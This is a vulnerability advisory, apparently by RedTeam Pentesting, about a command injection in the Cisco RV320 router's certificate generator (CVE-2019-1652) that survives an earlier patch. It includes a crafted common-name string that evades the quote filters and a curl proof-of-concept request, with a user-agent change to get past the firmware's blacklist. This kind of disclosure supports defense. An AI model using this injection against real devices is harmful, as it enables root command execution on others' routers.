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Cisco RV320 Command Injection

RedTeam Pentesting discovered a command injection vulnerability in the web-based certificate generator feature of the Cisco RV320 router which was inadequately patched by the vendor.


  • Product: Cisco RV320 Dual Gigabit WAN VPN Router, possibly others
  • Affected Versions: through
  • Fixed Versions:
  • Vulnerability Type: Remote Code Execution
  • Security Risk: medium
  • Vendor URL:
  • Vendor Status: fixed version released
  • Advisory URL:
  • Advisory Status: published
  • CVE: CVE-2019-1652
  • CVE URL:


“Keep your employees, your business, and yourself productive and effective. The Cisco RV320 Dual Gigabit WAN VPN Router is an ideal choice for any small office or small business looking for performance, security, and reliability in its network.” (from the Cisco RV320 product page (

More Details

The router’s web interface enables users to generate new X.509 certificates directly on the device. Previously, RedTeam Pentesting identified a vulnerability (rt-sa-2018-004) ( in this component. By providing a specially crafted common name, it was possible to inject shell commands which were subsequently executed on the router as the root user. This vulnerability was adressed in firmware version published by Cisco (

RedTeam Pentesting discovered that the certificate generator in the patched firmware is still vulnerable. The update adds several filters to handle single quotes in user input. However, these filters can be evaded by specially crafted inputs. By providing the following string for the certificate’s common name, a “ping” command can be injected:

'a$(ping -c 4'b

Proof of Concept

The following HTTP POST request invokes the certificate generator function and triggers the command injection. It requires a valid session cookie for the device’s web interface. The user agent “curl” is blacklisted by the firmware and must be adjusted in the HTTP client.

$ curl -s -k -A kurl -X POST -b "$COOKIE" \
--data "page=self_generator.htm&totalRules=1&OpenVPNRules=30"\
"SelectSubject_s=1" \
--data-urlencode "common_name='a\$(ping -c 4'b" \

Afterwards, the incoming ICMP echo requests can be observed on the attacker’s system at


Prevent untrusted users from using the router’s web interface.


Install firmware version (or later) on the router.

Security Risk

The vulnerability allows attackers with administrative access to the router’s web interface to execute arbitrary operating system commands on the device. Because attackers require valid credentials to the web interface, this vulnerability is only rated as a medium risk.


  • 2018-09-19 Original vulnerability identified
  • 2018-09-27 Customer approved disclosure to vendor
  • 2018-09-28 Vendor notified
  • 2018-10-05 Receipt of advisory acknowledged by vendor
  • 2018-10-05 Notified vendor of disclosure date: 2019-01-09
  • 2018-12-21 Postponing disclosure to 2019-01-23, as requested by vendor
  • 2019-01-16 List of affected versions provided by vendor
  • 2019-01-22 Firmware released by vendor
  • 2019-01-23 Advisory (rt-sa-2018-004) published
  • 2019-02-07 Incomplete mitigation of vulnerability identified
  • 2019-02-08 Proof of concept sent to vendor
  • 2019-02-08 Receipt of proof of concept acknowledged by vendor
  • 2019-02-15 Full advisory sent to vendor
  • 2019-02-15 Notified vendor of disclosure date: 2019-03-27
  • 2019-03-25 Requested progress update from vendor
  • 2019-03-25 Vendor requests postponed disclosure
  • 2019-03-25 Postponement declined
  • 2019-03-27 Advisory published
  • 2019-04-04 Firmware released by vendor

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